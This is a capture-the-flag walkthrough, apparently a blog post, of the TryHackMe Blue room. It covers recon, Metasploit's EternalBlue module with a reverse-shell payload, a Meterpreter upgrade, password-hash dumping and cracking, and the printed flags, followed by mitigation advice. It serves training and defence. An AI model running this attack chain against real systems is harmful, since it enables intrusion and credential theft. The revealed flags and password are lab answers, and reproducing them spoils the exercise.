Listen to this Post
Introduction:
The EternalBlue exploit (MS17-010) remains one of the most notorious vulnerabilities in cybersecurity history, responsible for enabling the global WannaCry ransomware outbreak that crippled thousands of organizations in 2017. Despite Microsoft releasing a patch years ago, countless unpatched Windows systems continue to expose this critical SMBv1 flaw, making it a persistent entry point for attackers and an essential learning target for aspiring security professionals. This walkthrough demonstrates a complete attack chain—from network reconnaissance and vulnerability identification to gaining SYSTEM-level access, dumping password hashes, and retrieving flags—using the TryHackMe Blue room as a practical, controlled environment.
Learning Objectives:
- Master network reconnaissance and service enumeration techniques using Nmap and Netdiscover to identify vulnerable targets.
- Execute the EternalBlue exploit via the Metasploit Framework to gain remote access to an unpatched Windows system.
- Perform post-exploitation activities including shell upgrades, password hash dumping and cracking, and flag retrieval.
You Should Know:
- Reconnaissance and Vulnerability Identification: The First Step to Compromise
Before any exploitation can occur, attackers must identify their target and determine if it is vulnerable. This phase, often called reconnaissance or footprinting, involves scanning the network to discover live hosts and open ports, then probing those services for known weaknesses.
Step-by-Step Guide:
Step 1: Network Discovery with Netdiscover
Begin by identifying the target machine’s IP address on the local network. Netdiscover is an ARP reconnaissance tool that sends ARP requests and listens for replies, effectively mapping all active hosts on the local subnet.
sudo netdiscover
This command scans the local network and lists active hosts with their IP addresses and MAC addresses. From the output, identify the IP assigned to your target virtual machine.
Step 2: Comprehensive Port Scanning with Nmap
Once the target IP is known, perform a detailed port scan to enumerate open ports and running services. The `-A` flag enables OS detection, version detection, default script scanning, and traceroute, providing a wealth of information about the target.
nmap -A <target_ip>
The scan typically reveals three critical open ports below 1000:
– 135/tcp — Microsoft RPC
– 139/tcp — NetBIOS Session Service
– 445/tcp — Microsoft SMB
The presence of port 445 (SMB) is the key indicator that the machine may be vulnerable to SMB-based attacks.
Step 3: Vulnerability Scanning with NSE
After identifying the SMB service, run the Nmap NSE vulnerability script to specifically check for the EternalBlue vulnerability.
nmap --script vuln <target_ip>
This script scans for a wide range of vulnerabilities, and the output will confirm whether the target is affected by MS17-010. The answer to the question “What is this machine vulnerable to?” is ms17-010.
2. Exploiting EternalBlue with Metasploit: Gaining a Foothold
With the vulnerability confirmed, the next phase is exploitation. The Metasploit Framework provides a reliable module for EternalBlue that, when configured correctly, grants remote code execution with SYSTEM privileges.
Step-by-Step Guide:
Step 1: Launch Metasploit
Start the Metasploit console:
msfconsole
Wait for the framework to load fully before proceeding.
Step 2: Search for and Select the Exploit Module
Search for modules related to MS17-010:
search ms17-010
From the results, select the EternalBlue exploit module:
use exploit/windows/smb/ms17_010_eternalblue
The full path of the exploit code is exploit/windows/smb/ms17_010_eternalblue.
Step 3: Configure the Exploit Options
View the required options:
show options
Set the target IP address (RHOSTS):
set RHOSTS <target_ip>
Optionally, set your attacker IP (LHOST) if needed for payload configuration:
set LHOST <your_ip>
Verify the configuration:
show options
For learning purposes, it is recommended to explicitly set the payload:
set payload windows/x64/shell/reverse_tcp
Step 4: Execute the Exploit
Launch the exploit:
run
If successful, Metasploit will open a Meterpreter session, granting remote access to the target machine with SYSTEM privileges.
- Shell Upgrade: From Command Shell to Full Meterpreter
While the initial exploit often grants a basic command shell, upgrading to a Meterpreter session unlocks advanced post-exploitation capabilities, including file system navigation, process manipulation, and hash dumping.
Step-by-Step Guide:
Step 1: Background the Current Shell
Press `Ctrl + Z` and confirm to background the session:
Background session 1? [y/N] y
This returns you to the Metasploit console while keeping the shell session active.
Step 2: Search for the Shell Upgrade Module
Search for the post module that converts a command shell to a Meterpreter session:
search shell_to_meterpreter
The relevant module is `post/multi/manage/shell_to_meterpreter`.
Step 3: Select and Configure the Module
Select the module:
use post/multi/manage/shell_to_meterpreter
View the required options:
show options
Set the session ID of the backgrounded shell (the option to change is SESSION):
set SESSION <session_id>
Step 4: Execute the Upgrade
Run the module:
run
This will upgrade the basic shell to a fully functional Meterpreter session, providing a rich set of post-exploitation tools.
4. Dumping and Cracking Windows Password Hashes
With SYSTEM privileges and a Meterpreter session, attackers can extract password hashes from the Windows Security Account Manager (SAM) database. These hashes can then be cracked offline to recover plaintext credentials.
Step-by-Step Guide:
Step 1: Dump Password Hashes
Within the elevated Meterpreter session, execute the `hashdump` command:
hashdump
This extracts the LM and NTLM password hashes of all local user accounts from the SAM database. The output will include built-in accounts (Administrator, Guest, DefaultAccount) and any additional local users.
Step 2: Identify Non-Default Users
Review the hashdump output and identify accounts that are not default Windows accounts. For example, a non-default user named Jon may be present.
Step 3: Crack the Password Hash
Copy the NTLM hash of the non-default user (e.g., ffb43f0de35be4d9917ac0cc8ad57f8d) to a file. Use a password cracking tool like Hashcat or an online service like hashes.com to crack it.
echo "ffb43f0de35be4d9917ac0cc8ad57f8d" > hash.txt hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
The cracked password for the example hash is alqfna22. This demonstrates how easily weak passwords can be recovered once hashes are obtained.
5. Flag Retrieval: Navigating the Windows Filesystem
The final objective in the TryHackMe Blue room is to locate three flags hidden in various system directories. This phase reinforces the importance of filesystem navigation and understanding Windows directory structures.
Step-by-Step Guide:
Step 1: Locate Flag 1 in the System Root
With the Meterpreter session active, list the contents of the root directory:
ls
The file `flag1.txt` is located in the root of the C:\ drive. Display its contents:
cat flag1.txt
Flag 1: `flag{access_the_machine}`
Step 2: Navigate to the Windows Configuration Directory for Flag 2
The hint for Flag 2 indicates it is stored where Windows stores password-related files—specifically, C:\Windows\System32\config. Navigate to this directory:
cd C:\Windows\System32\config
List the files to verify the presence of flag2.txt:
ls
Read the flag:
cat flag2.txt
Flag 2: `flag{sam_database_elevated_access}`
Step 3: Access Jon’s Documents for Flag 3
The final flag is stored in the Documents folder of the non-default user (Jon). Navigate to this directory:
cd C:\Users\Jon\Documents
List the contents:
ls
Read the flag:
cat flag3.txt
Flag 3: `flag{admin_documents_can_be_valuable}`
6. Mitigation and Defense: Securing Against EternalBlue
Understanding the exploit is only half the battle; security professionals must also know how to defend against it. The most critical mitigation is patching, but a defense-in-depth approach is essential.
Step-by-Step Guide for Defenders:
Step 1: Apply Security Patches
Microsoft released a patch for MS17-010 in March 2017 (KB4012212). Ensure all Windows systems are updated with the latest security patches. For legacy systems that cannot be patched, consider isolating them from the network.
Step 2: Disable SMBv1
SMBv1 is an obsolete and insecure protocol. Disable it across all Windows systems via Group Policy or PowerShell:
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
Or via the registry:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v SMB1 /t REG_DWORD /d 0 /f
Step 3: Network Segmentation and Firewall Rules
Restrict SMB traffic (ports 135, 139, 445) to only trusted internal networks. Implement firewall rules to block SMB traffic from the internet and untrusted segments.
Step 4: Enable Advanced Threat Protection
Deploy endpoint detection and response (EDR) solutions that can detect and block exploitation attempts, including those leveraging EternalBlue. Monitor for suspicious SMB traffic patterns and unusual process creations.
Step 5: Enforce Strong Password Policies
As demonstrated in the hash cracking step, weak passwords are easily compromised. Enforce complex password policies and implement multi-factor authentication (MFA) to reduce the impact of credential theft.
What Undercode Say:
- Key Takeaway 1: EternalBlue remains a critical threat because many organizations fail to patch legacy systems or disable SMBv1. This vulnerability is a stark reminder that basic patch management is one of the most effective cybersecurity controls.
- Key Takeaway 2: The attack chain—reconnaissance, exploitation, privilege escalation, and credential dumping—illustrates the importance of a layered defense strategy. A single unpatched system can serve as a beachhead for broader network compromise.
- Key Takeaway 3: Hands-on labs like TryHackMe Blue are invaluable for developing practical skills in a safe environment. They bridge the gap between theoretical knowledge and real-world application, preparing security professionals for actual incident response scenarios.
- Key Takeaway 4: Password hashes, even when encrypted, are vulnerable to offline cracking if weak passwords are used. Organizations must enforce strong password policies and consider using passphrases or password managers.
- Key Takeaway 5: Post-exploitation techniques, such as shell upgrading and hash dumping, highlight the need for continuous monitoring and rapid detection of anomalous behavior. Security teams should prioritize visibility into endpoint activities.
Prediction:
- +1 The EternalBlue vulnerability will continue to be a staple in cybersecurity training and certification programs, ensuring that new generations of security professionals understand the risks of unpatched systems and the importance of proactive defense.
- -1 Despite widespread awareness, unpatched Windows systems will persist in enterprise environments, particularly in industrial control systems (ICS) and healthcare, where legacy hardware and software dependencies prevent timely patching. This creates an ongoing attack surface that adversaries will continue to exploit.
- -1 The rise of ransomware-as-a-service (RaaS) and automated scanning tools means that EternalBlue will remain a popular entry vector for financially motivated cybercriminals, especially targeting organizations with poor patch management practices.
- +1 The lessons learned from EternalBlue have driven significant improvements in vulnerability disclosure, patch distribution, and the development of exploit mitigation technologies, such as enhanced exploit protection (EMET) and controlled folder access in Windows Defender.
- -1 As more organizations migrate to cloud environments, the risk of misconfigured SMB services exposed to the internet will increase, potentially leading to a resurgence of EternalBlue-based attacks against cloud-hosted Windows instances.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Nandana Ajilal – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
